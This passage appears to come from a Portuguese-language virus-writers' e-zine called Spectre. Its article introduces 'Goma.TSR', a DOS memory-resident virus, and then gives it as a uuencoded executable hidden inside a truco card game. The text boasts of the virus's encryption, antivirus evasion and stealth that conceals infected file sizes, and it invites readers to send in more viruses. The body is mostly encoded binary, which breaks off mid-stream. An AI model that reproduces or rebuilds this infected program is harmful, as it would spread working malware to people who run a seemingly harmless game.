M:,`%3P,7Q[MX%[XB<%4"FB0+G@BJO`&_?YP-"Y@!>$#AOX$"W$H!@_<`W(8L M)B`1FJ<%F004GHE6_K@!>-(%BCL(?V5\!3L2=UX;BK+K"H,&"@.X+>OS] M>HL":_QSX?2S3_1W<89[`6HEDZ$CBT)@=;!D(UYUJYCH)_P(^V@#Z-C[#Y1` M6;[CR3'`FA8!`0HW`%6+[![%5H/",```N`!#S2$?<P0SR>L",\"C)@"W%L1^ M!I&K7<H()`A$322+3@;')V>9<B,>!B@`'H/L4"%V#(U^L!8'_!2`K#Q/'K!/ MF)'SI#+`JD)1.`:T&C&-5@J9&Q\^"K1./91R6>@@K^4^"F_47"0?M$\%I`H< M!``:!'(>H`"#QQX>!A]%N0`!_/*N`(7VT8K!3XOW3OU8JOP?+0%_PSZ))B@6 MC!8`@"H6@>S^`(X>.`"A+`")1O(LI8B1"I&"`R4%CG8&C;X"_Q5^F2@5?JH6 ML`VJF@I0C;85B7;TC%[V1H"2-.*)?OB,1OKI*91RN'[2#OP._@+4#E:"C5[R MN`!+"P`@`;HD`8[:^HNE!8&.@?L0*``(`+1-'LM>6EE;L"%0H`!345)651ZE M+O\VD0&*H`!&#"ZBD@&$"/RM4*V+I938`\@#T`/H*0$.^`6.P!]>6,U(0`"< M!E?8Q'X2_*N+PRF4`\$#PJM8!<8D"P6,V`4"+H]EP`9/'WT`I@"$C`;X,^WH M$PSH``"@`(O$!1,`L033Z(S2`\*C@%(*`*,,``,&!`<.2B$#&`,<`R0`CE$` M+R:A`@L@`,<&*@#6`"@`C`XL`+\L&+XY`KD\H`"0_"ZLM#7$B1V,10*#`$K' M!.+O'@X?N@P!]R51)A6Z$P@C"-M,)0"X)`@$$#^!`@@?N"P6'E`"N&,"#BB4 M4`[H3@;HR`(4%RX!`10Z%+D"RS/`G```6X#G#U.=G%F`Y?"`_?!T#K@!0(#/ M\!!T`4"B3`"E`,,ERI_[@\0&6(,``.<?@<>6`(#\.7,#O___5[0%`%1MB^R` M3A8!6%M96EZ`!%]='P?/N-``*^L#N,@`6`!96^L'N/\`,\DSVP``&ONC,@"+ MP0O#=#VA$(`3``O`="^.P"8*&RL`%,-W%_?8/0`0<Q"Z$O<`*.(#P7(')CL& M"`!R!B,`010`Z]&+R(S#*U(``(/K$(D.-`")'C8`Q!XN`(PI6,!/$X`4*`NC M,`,\`+AN`>`LE`93RP/D*K-H^`DA`@2`P%0E'L45*@!%4_"A4`L&@:)0="F[ M3`(R`*$4I:;H`[M;#!X*4`P7Z$``L#KH544I"R;H-1=@%Y."!R.T3#\NB@<* MHH"]!NB70^OSP[%DA`(:L0KH`J\$,N3V2%#Q!#!00EB*Q,-0%*`$Z`$*4+$$ MTNCH`R@`"20/'#PZ<@($!XK0"@"T!DC#``(;(2,D-#4V```W.#DZ.SP]/C]U M4G5N=&EM`"AE(&5R<F]R(``@870%4`4N#0H`4`X8;VYS``4@0V]P>7)I9V@8 M*&,I``H@,3DX,RPY,B!"'VQA`!1N9#/`AP8\`,N#/@4`*`!U`<NA!^EP_HOT M-HY$`(4")CM5`G\'?!0(!7(/1!4-!GP(#PA%BH($=RBXR2A(_KC70@$&0OX% ME7(-*\1S@%0)]]@[!CH`<A[*```8*OZZ,]*+W!XVQ'\(-L5W"@H$_&JKN+#7 M!(``62"K"P&-172KC"D3%`P*!&`4N0X```#SJ[E/``O2=0FL.LAV!(H(0,CC M"*PX`ZKB^*B0!Q^G2D!14`HVBT<$)HFEE(D(!@@,4N4("`@.1`84"@H*I+JQ MURA8ZPBZL@4#NK/74E";+(M%`CTH%!=T$CT7=`T]CG02`!#'_F8`ZR12!E<. MZ"5FO0!:0_>`4D>[$`#H3`!T.<<U]#DNX$@W($^!TDQ]`DX8"%%300A,9R`8 M4+L4(5$W%0!8NPR['-6K"XP`0&<0%`(F_QG+`\2!A5\'PR-"*<_%50R?30@( M-8L=M#^I$+.*?XTY]0`?S"HY"DA='9CN`3`SR2:'30@2Q3)`,@<KP52X9>YA M+0\EYRX`(!\5P)F#^P1V!K0^&@T!&0RTG`V@%AB<H$X`M#T`%D#K!K@`/+H! M``P$)`@<3!=H&@BS`BPD<#10``!Q3`!:6":`?3``=!(>C:CA53`&'ZX"&,X& M&^L1DB@P-C0FB06+1F#8YP0[&4*Z274.G@;:UG-^RDO6Z!P<%VWNVPG;'P,# M@J<#2(D&H!2MP[0_NF1L!4>Z)T!EL@KHW/]U&QY2^(7?D`*40EH?<@8[P72( MPAS`2L:S/[G$C3:S0+DV$.BF4@(V/Z@*``K9'!Y1)O=E!(O(0PR*6Y7C05E! MV](BB!9U!#>,P@N2*(`%U^L<.S&8^707B0[N6@\J'(4%:*]2#I)*7"'.@5P( M5@V$Q`D#RHO07+@`0GT%XO1%48NX"])#Z$DH"E0PM#`</`,C`'++"R4^!2P` M```S__PF.@5T![G___*NZ_2#B%#'`XOWJX@0#)'VT+@@0K/\JF&X$J@"+-+* MI*23RSR_@```/XH-,NU',]OC"2:`/2!WJ-,#1^+W.PUV!@`-QRO&=`1#2G7> MPX`^H0!,%1MFP>`09@^*J:S0!<'A"=DH``7WZ0BDPA#+B_"+^J"H]^%04HO& M0XO8.RK`#-I:6`/3`]'+J4,])P@]=%YFF<%.0?EFB\I$!84"RTE5,^WP>0A% M]P!0V(/2`/?:"]MT/GD+1:@"#]F#TP\-,U6+\:H`B_NU-(O0,\"]$*```-'@ MT=+1`=-`*\X;WP`@<P5(`\X3WTUUZ5WK%ET<@(KI<_GC]Y.2]_&32@4#,],Y MT>USMW((344H![L!9UVF!@^MT-/J`/C+@^$?=`;1ZM'8XOKASAFEPM/@&7,$ MCQG\B]R,VH#16ZRJBL@R!,^IVD\:DE`6"AX&-HM/0'<>.L%V`HK!`"0*ER0D M(`PH"(H\`3@H!@O)?P.Y`+,!``/Q*\%R$T`Z0&$2?0(SR3L_!HO!9&P2JHO( M0?H""``#?\RL%!0F``7=)L8%_VOV<#K0`_E'BBP$$H;@=@K\@*'B+(K0,O83 M`.XS*\IR'$%'K/*N=0``%8O'B]F+RDGSIG0.B_B+RX4"BR]&Z^9QZP1(*_AS M1@8?77*O2)&7;8HE)$AA.LS9S`K)=`;:\$ZF=0(ZQ)W\@."P`:HVBD<$JGPK M#:\*009[5_'*!@6\@>P``H.4`7T%Y2K';0$A1/PK!E<1(K%0(T@"9<O+_A(. M*.EG`_\A_D;$(?]V!FRDN!^L_@3I_A4C%`@,>/[KJ-T,`5\`?EP&0A6=?E:! M!C-_I4Q/!P8'?G/=I/\(<PAS6/ZG<@%J%`,K4$KG;CYN>VYI6Q$);PA&%*S% M?\%P.(D-N``]4PTX%+`"_P6I`K3+A#PA"84!(*=:B06X"ZQT!+I@+1JJ+2\& M1,`,'/;"@+A@&\6.)-IU%#\*;T8K`+@[,1@`!;+7B444B546B5`H31B)71H1 M'(`$!;F<'A\9,])*H2=/`D!452V``(/:`%KA(<`4EU(^;(V5ZG`8N0.GP0)S M8E8[V'0@"4"`%!IT`T/K\HO3*]#H/5U&AR%/I,/H6@LXZD@V]V<$B\$)(0@# MP4R+P@`1[>@]`),!`!FY(`#VQH!U"M'CT=+^R("HXO,RP(#F?\L`)';-/)\& M3@O--P8^"Y@*0`9*"S7]S3G9S3W+`$$A`4_@_Z$8BQY``1/Y+O<FA@O1X0(" MZ4@%`]$#TTOC!@+SL112!=/C!@4!`'.C42`NB18NPP6$M"R*LS(.#X@8:$0` MZ`8*](/Y`70&UP[H`I1T^Q/H+1<3U&VSTP,;61L%(!(;"RO!&]-R!;`!>=P0 M,L"&!N$$9W4K#!-VTJ<!X!T,4E`.H.8:6UD050$<5UE;PSX`DF_YP[\`%%`` M'@>Y>!@KS]'I$OSHZ/.KPP`6`?__`"**B`$0\@"@X33/'@(`_SL``!P`)P`Q M`$0`<0!^`(@`C0#4`-X`ZP`$`1@!-P%``4P!6P%Q`8T!E`&9`:,!KP',`>@! M_`$&`A`"(`(\`D<"90)[`HL"G`*H`KT"U@+E`O$"_0('`R4#/`-&`U(#;@-U M`W\#BP.<`Z$#W`/K`_`#^@,&!#4$/00!1``]`0=@``$`&P$0`T$*7`IR"I$* )`*P"``@``(@" ` end ;;;;;;;;;;;;;;;;;; Spectre.HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ─────────────────────────────────── 11 - Goma.TSR (Versao de Testes) ─────────────────────────────────── Segue abaixo um jogo de truco infectado com a versao de testes do nosso primeiro TSR, antes de publica-lo, resolvi distribui-lo e ver se o menino e' do mau mesmo. Em se tratando de um TSR, ele e' facilmente disseminado, sendo ele um virus de tamanho diminuto, encriptacao, tecnicas Anti-Av das mais avancadas, rotina de ativacao e DIR hidden ( deu dir o tamanho do arquivo hospedeiro e' calculado na hora e retornado como se nao estivesse infectado.) Creio que esse sera um dos nosso ultimos virus para DOS, ou seja, virus de "old tecnics" como ja' li em alguns lugares, e dentro em breve estaremos adentrando no mundo 32 bits do Windows 95/98/NT e vamos ver se teremos boa sorte... Continuem mandando seus virus, artigos e o caralho a 4 pra gente que senao vai ser phoda ... ─────────────────────────────────────────────────────────────────────────── __ __ __ __ __ | | | | |_ |\| | | | | \ |_ |__| |__| |__ | | |__ |__| |__/ |__ ─────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;; Truco.EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin 600 goma_tsr.exe M35I*`4@`<P0?`5H26K+D!U)'`````(`''````!$````9````(@```"X````X M````1````%(```!@````;````'X```"[````Y0```/0````8`0``4P$``&(! M``"!`0``D@$``*<!``#,`0``VP$``/<!```(`@``-@(``%@"``!_`@``B0(` M`)$"``"D`@``J@(``,8"```#`P``$P,``"0#```Y`P``90,``'0#``"2`P`` MGP,``+`#``#0`P``[@,``/0#```8!```2P0``%8$``!>!```?00``)($``"E M!```N`0``-,$``#Q!```&`4``"$%```O!0``/`4``$@%``!J!0``F`4``#T& M``!9!@``808``'<&``"%!@``E`8``*$&``"G!@``L`8``+H&``#`!@``Q08` M`,X&``#<!@``X08``.T&``#U!@``/`<``$L'``!J!P``>P<``+8'``"^!P`` MU`<``.$'``#L!P``_@<```T(```5"```)`@``"P(``!""```3P@``%H(``!L M"```>P@``(@(``"7"```&0D``#()``!3"0``7PD``'X)``"/"0``G0D``*L) M``##"0``Z@D``/\)```8"@``30H``%\*``!N"@``F`H``*D*``"^"@``R0H` M`-4*``#B"@``Z`H``.T*``#\"@``"PL``$T+``!:"P``:0L``*H+``"\"P`` MRPL``/4+```&#```&PP``"8,```R#```/PP``$4,``!*#```60P``&@,``"G M#```M`P``,,,```=#0``+@T``#X-``!)#0``40T``&(-``!O#0``=0T``)`- M``"@#0``I@T``+T-``#-#0``TPT``.`-``#R#0``^`T```L.```7#@``)`X` M`#(.```X#@``2PX``%<.``!D#@``=`X``'H.``"-#@``F0X``*@.``"X#@`` MO@X``-$.``#=#@``[`X``/P.```"#P``#P\``"8/```R#P``00\``%$/``!7 M#P``=`\``(`/``"/#P``GP\``*4/``"X#P``Q`\``-,/``#C#P``Z0\```80 M```2$```(1```#$0```W$```2A```%80``!E$```=1```'L0``".$```FA`` M`*D0``"Y$```OQ```-P0``#H$```]Q````<1```-$0``(!$``"P1```[$0`` M2Q$``%$1``!D$0``<!$``'\1``"/$0``E1$``*@1``"T$0``PQ$``-,1``#9 M$0``]A$```(2```1$@``(1(``"<2```Z$@``1A(``%42``!E$@``:Q(``'X2 M``"*$@``F1(``*D2``"O$@``PA(``,X2``#=$@``[1(``/,2```&$P``$A,` M`"$3```Q$P``-Q,``%03``!@$P``;Q,``'\3``"%$P``F!,``*03``"S$P`` MPQ,``,D3``#<$P``Z!,``/<3```'%```#10``"`4```L%```.Q0``$L4``!1 M%```9!0``'`4``!_%```CQ0``)44``"H%```M!0``,,4``#3%```V10``/84 M```"%0``$14``"$5```G%0``.A4``$85``!5%0``914``&L5``!^%0``BA4` M`)D5``"I%0``KQ4``,(5``#.%0``W14``.T5``#S%0``!A8``!(6```A%@`` M,18``#<6``!*%@``5A8``&46``!U%@``>Q8``(X6``":%@``J18``+D6``"_ M%@``QQ8```07```/%P``%Q<``"@7```U%P``.Q<``%87``!F%P``;!<``(,7 M``"3%P``F1<``*$7``#&%P``Y!<``/07``#Z%P``0Q@``%\8``!Z&```CA@` M`)<8``"?&```IQ@``+T8``#+&```VA@``.(8``#V&```_Q@```X9```E&0`` M+AD``#T9``!8&0``=1D``(<9``"2&0``FAD``*(9``"G&0``OQD``,L9``#E M&0``_1D``!D:```Y&@``5!H``&P:``!T&@``BAH``)@:``"G&@``K1H``+D: M``#+&@``UAH``-X:``#F&@``[AH``/8:``#[&@``&QL``#8;``!*&P``9AL` M`'H;``"3&P``N1L``,D;``#/&P``"!P``!X<```F'```/!P``$H<``!G'``` M<!P``'4<``!^'```C1P``*8<``"Q'```O1P``,@<``#7'```[AP```(=```: M'0``,1T``$P=``!7'0``:!T``'4=``!['0``EAT``*8=``"L'0``NQT``-0= M``#['0``$1X``%$>``!L'@``D1X``,\>``#K'@``EA\``*H?``#3'P``V1\` M`.,?``#O'P``!2```"(@```X(```0"```$@@``!A(```;"```(L@``"T(``` MNB```,0@``#0(```YB````,A```9(0``+"$``%4A``!;(0``92$``'$A``"' M(0``I"$``+HA``#*(0``W2$``/HA```0(@``+"(``$(B``!'(@``8B(``&@B M``!Q(@``B"(``*PB``#^(@``)R,``#<C``!#(P``9",``'@C``"5(P``HB,` M`+LC``#/(P``W",``.PC```#)```%20``"4D```W)```3"0``&`D``!P)``` MCR0``*TD``#")```T"0``.<D```;)0``)R4``#@E``!;)0``9R4``'0E``"! M)0``C24``*0E``"X)0``Q24``-4E``#D)0``]B4```8F```8)@``+28``$@F M``!4)@``PR8``-,F```")P``,B<``$$G``!H)P``AB<``)DG``"Y)P``RR<` M`-TG``#N)P```"@``!`H```A*```,R@``'$H``"!*```DB@``*$H``"N*``` MPB@``,XH``#B*```[R@``/\H```3*0``)2D``#<I``!(*0``;BD``'TI``"/ M*0``GRD``+$I``#&*0``TBD``-XI``#K*0``^"D```0J```;*@``+RH``#PJ M``!.*@``I2H``-$J``#J*@``_"H```PK```>*P``,RL``$`K``!2*P``8BL` M`'0K``")*P``GRL``+$K``#!*P``TRL``.@K```G+```4RP``'DL``"++``` MFRP``*TL``#"+```U2P``.<L``#W+```"2T``!XM```K+0``/2T``$TM``!? M+0``="T``(PM```-,0``$C$``!<Q```<,0``,S$``#@Q```],0``1S$``$PQ M``!>,0``8S$``&@Q``!Z,0``?S$``(0Q``"6,0``FS$``*`Q``"R,0``MS$` M`+PQ``#.,0``TS$``-@Q``#B,0``YS$``/DQ``#^,0```S(```@R```4,@`` M&C(``"8R```X,@``0S(``$LR``!3,@``6#(``&LR``!P,@``=3(``'\R``"$ M,@``FS(``+`R``"U,@``NC(``+\R``#9,@``Y3(``.\R``#[,@```3,```TS M```?,P``*C,``#(S```Z,P``/S,``%@S``!H,P``<#,``'4S``!],P``A3,` M`)LS``"I,P``MS,``,4S``#3,P``XC,``.HS``#O,P``]#,``!0T```9-``` M*C0``$<T``")-```I#0``+<T``#.-```[S0``/XT```;-0``+#4``$XU``!F M-0``?C4``)(U``"F-0``OS4``-`U``#Z-0``"38``",V```R-@``3#8``%HV M``!K-@``L#8``,XV``#<-@``[38``#8W``!*-P``<3<``)4W``"G-P``N#<` M`,HW``#B-P``]#<```0X```6.```,S@``$LX``!?.```>#@``*TX``#`.``` MZ3@``!,Y``!E.0``=3D``)DY``"A.0``MSD``,4Y``#4.0``VCD``.8Y``#X M.0```SH```LZ```3.@``&#H``!\Z```V.@``93H``&TZ``"#.@``D3H``)HZ M``"Q.@``R3H``-$Z``#G.@``]3H```0[```,.P``%CL``!X[```T.P``0CL` M`%$[``!9.P``7CL``($[``").P``GSL``*T[``"\.P``Q#L``,X[``#6.P`` M[#L``/H[```)/```$3P``%,\``!</```:3P``'4\``"`/```U#P``.<\```S M/0``.ST``%$]``!>/0``:3T``'L]``"*/0``DCT``*(]``"T/0``PST``,L] M``#A/0``[CT``/D]```+/@``&CX``"(^```R/@``1#X``&@^``!P/@``ACX` M`)0^``"B/@``L#X``+\^``#'/@``T3X``-D^``#O/@``_3X```L_```9/P`` M)S\``#8_```^/P``1C\``$X_``!D/P``<C\``($_``"'/P``DS\``*4_``"P M/P``N#\``,`_``#%/P``S#\``-X_``#F/P``ZS\``/@_```!0```$``!!!P` M`00K``$$1P`!!%\``01W``$$B@`!!)```02I``$$L0`!!+T``03+``$$V0`! M!.4``03W``$$'`$!!#0!`015`0$$6P$!!&L!`01^`0$$D0$!!*H!`03.`0$$ MXP$!!`D"`00X`@$$3P(!!+8"`03(`@$$U@(!!.H"`03P`@$$/0,!!$X#`01C M`P$$B@,!!*<#`03``P$$W`,!!``$`00,!`$$+@0!!%($`01I!`$$;P0!!'L$ M`022!`$$GP0!!+8$`02\!`$$R`0!!.0$`03[!`$$`04!!`T%`00U!0$$/@4! M!$H%`016!0$$<P4!!(4%`027!0$$G04!!*P%`02R!0$$P04!!-`%`03C!0$$ M_@4!!!<&`00P!@$$308!!%,&`01B!@$$=`8!!'H&`02&!@$$H@8!!+L&`034 M!@$$\08!!/<&`00+!P$$(0<!!#D'`01+!P$$8P<!!'\'`021!P$$I@<!!-X' M`03X!P$$"@@!!#8(`010"`$$8@@!!)H(`02W"`$$W0@!!!$)`00L"0$$5`D! M!'$)`02'"0$$E@D!!*T)`02S"0$$[0D!!`X*`00I"@$$1PH!!%@*`02/"@$$ ML`H!!-8*`03B"@$$Z@H!!/(*`03]"@$$"`L!!!`+`008"P$$(`L!!"@+`00P M"P$$.`L!!$`+`01("P$$30L!!%(+`01D"P$$>PL!!)4+`02D"P$$OPL!!-@+ M`03Q"P$$#@P!!!0,`00C#`$$1PP!!%8,`01Q#`$$@`P!!#D`S`11`,P$9`#, M!'@`S`2<`,P$L0#,!,``S`3Z`,P$#0',!#(!S`0X`<P$>P',!),!S`2H`<P$ MP`',!,X!S`3;`<P$Z`',!/`!S`3U`<P$_0',!!("S`0O`LP$/`+,!$H"S`12 M`LP$5P+,!%\"S`2&`LP$H0+,!+,"S`3@`LP$_@+,!"X#S`12`\P$6`/,!(L# MS`2P`\P$Y`/,!/H#S`0?!,P$.`3,!#X$S`1E!,P$C03,!*,$S`3(!,P$X03, M!.<$S`0`!<P$$P7,!"<%S`0[!<P$3P7,!%P%S`1H!<P$=07,!($%S`28!<P$ MG@7,!*T%S`2S!<P$Q`7,!-,%S`3B!<P$\P7,!`@&S`0I!LP$.`;,!#T&S`1, M!LP$9P;,!'8&S`1[!LP$B@;,!)H&S`2N!LP$O0;,!,X&S`3C!LP$!`?,!`X' MS`0=!\P$.`?,!$<'S`1,!\P$6P?,!&P'S`2!!\P$I@?,!+0'S`32!\P$X0?, M!/('S`0'",P$*`C,!#<(S`0\",P$2PC,!&8(S`1U",P$>@C,!(D(S`29",P$ MK@C,!,`(S`3+",P$U0C,!.0(S`3S",P$"@G,!!H)S`0N"<P$0`G,!%()S`1D M"<P$>`G,!(H)S`2<"<P$K@G,!+0)S`2_"<P$``K,!"(*S`0X"LP$3@K,!&0* MS`1J"LP$?0K,!)$*S`27"LP$J0K,!+\*S`3<"LP$"0O,!"`+S`0T"\P$5`O, M!%H+S`1U"\P$E@O,!*T+S`3!"\P$X0O,!.<+S`0"#,P$&`S,!"X,S`1$#,P$ M<@S,!(@,S`27#,P$L@S,!,$,S`3<#,P$Z`S,!(P-S`2D#<P$W`W,!.X-S`0, M#LP$*`[,!#@.S`1W#LP$D`[,!!8`O`4I`+P%?0&\!0$`(@;X`2(&```````` M````````_P```%6)Y;@"`)JM`B(&@^P"FD4#O`4(P'06FE<#O`4PY#'2OP`` MFH4"(@:(1O[KX9I7`[P%,.0QTK\``)J%`B(&B$;^@'[^`'4BFE<#O`4,@##D M,=*_``":A0(B!C#D,=*_``":A0(B!HA&_HI&_C#D,=*_``":A0(B!HA&_XI& M_XGL7<,`````"0`````````#````````@/___W\`````__\````````!```` M58GEN!4`FJT"(@:#[!4QP(E&\XE&]<9&ZP#K`_Y&Z\9&[0#K`_Y&[8I&ZYB9 MOY(`FH4"(@:+R(I&[9B9OXH`FH4"(@:+^-'GT><#^8"]3@0`=!6#1O,!@U;U M`,1&\XS"OYH`FH4"(@:`?NT)=;>`?NL#=:@QP(E&[XE&\3'`B4;WB4;YQD;K M`.L#_D;KQD;M`.L#_D;MBD;KF)F_D@":A0(B!HO(BD;MF)F_B@":A0(B!HOX MT>?1YP/Y@+UV!`!U`^GJ`(I&ZYB9OY(`FH4"(@;1X(O8BD;MF)F_B@":A0(B M!HOXL0/3YP/[BX7^`YF_F@":A0(B!HE&^XE6_<9&[`#K`_Y&[,9&[@#K`_Y& M[HI&[)B9OY(`FH4"(@:+R(I&[IB9OXH`FH4"(@:+^-'GT><#^8"]3@0`=$R* M1NR8F;^2`)J%`B(&T>"+V(I&[IB9OXH`FH4"(@:+^+$#T^<#^XN%_@.9.U;] M?P=\&CM&^W85@T;O`8-6\0#$1N^,PK^:`)J%`B(&@'[N"76`@'[L`W0#Z6[_ MQ$;WC,(#1O,35O6_F@":A0(B!HE&]XE6^8!^[0ET`^G<_H!^ZP-T`^G*_L1& M[XS"N60`,=N:W`(B!L1.]XS#FO<"(@:_F@":A0(B!HE&[XE6\<1&[XS"OZ(` MFH4"(@90FN\,(@:+T+AD`"O"/10`<@2P`.L"L`&8F;^J`)J%`B(&B$;_BD;_ MB>Q=PP`````)``````````,`````@/___W\```````#__P````````$```!5 MB>6X"0":K0(B!H/L"8I&!)B9O]H"FH4"(@;1X(O8BD8&F)F_T@*:A0(B!HOX ML0/3YP/[BX7^`YF_X@*:A0(B!HE&^S'`B4;YQT;W`0#&1OT`ZP/^1OW&1OX` MZP/^1OZ*1OV8F;_:`IJ%`B(&B\B*1OZ8F;_2`IJ%`B(&B_C1Y]'G`_F`O78$ M`'1-_T;WBT;WF;_B`IJ%`B(&BD;]F)F_V@*:A0(B!M'@B]B*1OZ8F;_2`IJ% M`B(&B_BQ`]/G`_N+A?X#.T;[?`__1OF+1OF9O^("FH4"(@:`?OX)=`/I?/^` M?OT#=`/I:O^+1O>9O^H"FH4"(@90FN\,(@8QTHO(B]J+1OF9.]-\"G\$.\%V M!+``ZP*P`9B9O_("FH4"(@:(1O^*1O^)[%W"!``!````!`````9!8V5I=&$$ M1F]G90"`____?P``58GEN`(`FJT"(@:#[`*P#E":@`S,!+`!4)JJ#,P$L`!0 ML`I0L"A0L`Q0H;T$F;D#`/?Y0)F_)@2:A0(B!HOXT>>+]]'G`_Z!QRH#'E>: M<@',!+\N!`Y7O^8$'E>X4`!0FJT&(@:_-00.5[\W!1Y7N%``4)JM!B(&@SZ] M!`ET.J&]!)FY`P#W^4!`F;\F!)J%`B(&B_C1YXOWT><#_H''*@,>5[^(!1Y7 MN%``4)JM!B(&QP:,)`,`ZP;'!HPD`@"X`0!0N`$`4+@*`%"X`P!0N`$`4)HT M`P$$F;\Z!)J%`B(&B4;^@W[^`'35FO<)S`2X"`!0N`<`4)H##LP$BT;^F;\Z M!)J%`B(&/0$`=2+&!N0$`J&]!)FY`P#W^4"Y`P#WZ9F_.@2:A0(B!J.]!.LO M/0(`=0?&!ML$`.LC/0,`=1ZAO029N0,`]_E`N0,`]^F9OSH$FH4"(@:CO03H ME`")[%W#`"A3=6$@8F5S=&$L('9O8V4@97-T879A(&5M(&UA;R!D92!O;GIE M+BXN`````/__```M5F]C92!N86\@<V%B:6$@<75E(&YA;R!P;V1I82!T<G5C M87(L(&%N:6UA;"`_`````/\`````@/___W\```$````#``````````D````` M`````P````$````$````58GEN`8`FJT"(@:#[`:#/L\$"W0*@S[)!`MT`^FL M`+`/4)J`#,P$L`10FJH,S`2P`%"P!U"P/%"P"5"_I`4.5YIR`<P$N`$`4+^E M!0Y7FH,-S`3'!KT$#`"XX`90FN\,(@8%N`$QTK_.!9J%`B(&4)H1`[P%N&0` M4)KO#"(&,=*_S@6:A0(B!E":Z0*\!9I%`[P%",!TPIH^`[P%N`$`4+_6!0Y7 MFH,-S`2:5P.\!3#D,=*_!`::A0(B!J+C!)KW"<P$Q@;;!`#IBP$QP(E&_H`^ MW`0`=`7'1OX!`(M&_@,&P00]`0!_"NB3^0C`=0/I\P"AO029N0,`]_E`N0,` M]^F9OPP&FH4"(@:CO02ALP29OQ0&FH4"(@:+^-'G@<>E!(E^^HQ>_,1^^B:* M10&8F;\<!IJ%`B(&4,1^^B:*!9B9OR0&FH4"(@90Z'G[",!T)H,^O00,?1_H M(_D(P'08@#[D!`)T$:&]!`,&R00]#`!]!>B9_.MLQ@;D!`&P#E":@`S,!+`% M4)JJ#,P$L`!0L`M0L#Q0L`U0OZ0%#E>:<@',!+@!`%"X!`!0FN\,(@9`,=*_ M+`::A0(B!KHS`/?BB_B!QYD`'E>:@PW,!.@%^##D,=*_!`::A0(B!J+C!)KW M"<P$ZW'&!N0$`;`.4)J`#,P$L`!0FJH,S`2P`%"P"U"P/%"P#5"_I`4.5YIR M`<P$N`$`4+@$`%":[PPB!D`QTK\L!IJ%`B(&NC,`]^*+^(''S?\>5YJ##<P$ MZ)?W,.0QTK\$!IJ%`B(&HN,$Q@;:!`":]PG,!(GL7<-5B>6X`@":K0(B!H/L M`H`^Y`0"=$&AR00#!KT$/0P`?36#/LD$"W0N@S[/!`MT)S'`B4;^@#[<!`!T M!<=&_@$`BT;^`P;!!#T!`'\'Z-7W",!T`^A>^XGL7<,!`````P````"`____ M?P````````D``````````P`````````!````58GEN`8`FJT"(@:#[`;'1OX! M`.L#_T;^BT;^F;_H")J%`B(&B_C&A:,$`(-^_@-UY#'`B4;^_T;^BT;^F;_P M")J%`B(&BT;^F;_H")J%`B(&B_C1YX''I02)?OJ,7OS$?OHFBD4!F)F_^`B: MA0(B!E#$?OHFB@68F;\`"9J%`B(&4.AE^9B9OP@)FH4"(@:*R(M&_IF_Z`B: MA0(B!HOXB(VC!(-^_@-T&(M&_IF_Z`B:A0(B!HOX@+VC!`!T`^EU_S'`H\$$ MQT;^`0#K`_]&_HM&_IF_Z`B:A0(B!HOX@+V@!`!U)8M&_IF_Z`B:A0(B!HOX M@+VC!`!T$/\&P02AP029O_`(FH4"(@:#?OX#=;V)[%W#`(#___]_```````` M"0`````````#`````````/\```!5B>6X(@":K0(B!H/L(O]&!HM&!IF_)`J: MA0(B!O].!(M&!)F_)`J:A0(B!HM&!CM&!'X#Z;$`QD;^`.L#_D;^QD;_`.L# M_D;_BD;^F)F_-`J:A0(B!M'@B]B*1O^8F;\L"IJ%`B(&B_BQ`]/G`_N+A?X# MF;\\"IJ%`B(&4(U^WA97FJ\((@:+1@:9OSP*FH4"(@90BT8$F;\\"IJ%`B(& M4)K?""(&FC,)(@9T*8I&_IB9OS0*FH4"(@:+R(I&_YB9ORP*FH4"(@:+^-'G MT><#^<:%=@0`@'[_"70#Z6?_@'[^`W0#Z57_Z.']B>Q=P@0```````D````` M`````P```%6)Y3'`FJT"(@:*1@28F;\]"YJ%`B(&B\B*1@68F;\U"YJ%`B(& MB_C1Y]'G`_G&A78$`.B5_8GL7<("``"`____?P````````D``````````P`` M``````#_````58GEN"(`FJT"(@:#["+_1@:+1@:9OX$+FH4"(@;_3@2+1@29 MOX$+FH4"(@:+1@8[1@1^`^FQ`,9&_@#K`_Y&_L9&_P#K`_Y&_XI&_IB9OY$+ MFH4"(@;1X(O8BD;_F)F_B0N:A0(B!HOXL0/3YP/[BX7^`YF_F0N:A0(B!E"- M?MX65YJO""(&BT8&F;^9"YJ%`B(&4(M&!)F_F0N:A0(B!E":WP@B!IHS"2(& M="F*1OZ8F;^1"YJ%`B(&B\B*1O^8F;^)"YJ%`B(&B_C1Y]'G`_G&A4X$`(!^ M_PET`^EG_X!^_@-T`^E5_XGL7<($```````)``````````,```!5B>4QP)JM M`B(&BD8$F)F_EPR:A0(B!HO(BD8%F)F_CPR:A0(B!HOXT>?1YP/YQH5.!`") M[%W"`@``````"0`````````#````"]K$Q,3$Q,3$Q,2_`````/\````+LR`@ M("`@("`@(+,+P,3$Q,3$Q,3$Q-E5B>6X!`&:K0(B!H'L!`&*1@F8F;_8#)J% M`B(&B$;]BD8(F)F_X`R:A0(B!HA&_+`/4)J^`KP%L`!0FJ0"O`6_Z`P.5XM& M!IF_]`R:A0(B!E"+1@29O_0,FH4"(@90FC``S`3'1OX!`.L#_T;^O_P,#E>+ M1@:9O_0,FH4"(@90BT8$`T;^F;_T#)J%`B(&4)HP`,P$@W[^!W70OP@-#E>+ M1@:9O_0,FH4"(@90BT8$!0@`F;_T#)J%`B(&4)HP`,P$BD;\F)F_X`R:A0(B M!HOXBH5(`S#D,=*_]`R:A0(B!E":I`*\!8V^_/X65XI&_9B9O]@,FH4"(@:+ M^(J%4`-0FJX'(@:+1@9`F;_T#)J%`B(&4(M&!$"9O_0,FH4"(@90FC``S`2- MOOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&0)F_]`R:A0(B!E"+ M1@0%`@"9O_0,FH4"(@90FC``S`2-OOS^%E>*1OV8F;_8#)J%`B(&B_B*A5`# M4)JN!R(&BT8&!0D`F;_T#)J%`B(&4(M&!`4'`)F_]`R:A0(B!E":,`#,!(V^ M_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%"0"9O_0,FH4"(@90 MBT8$!08`F;_T#)J%`B(&4)HP`,P$BD;]F)F_V`R:A0(B!CP'=4>-OOS^%E>* 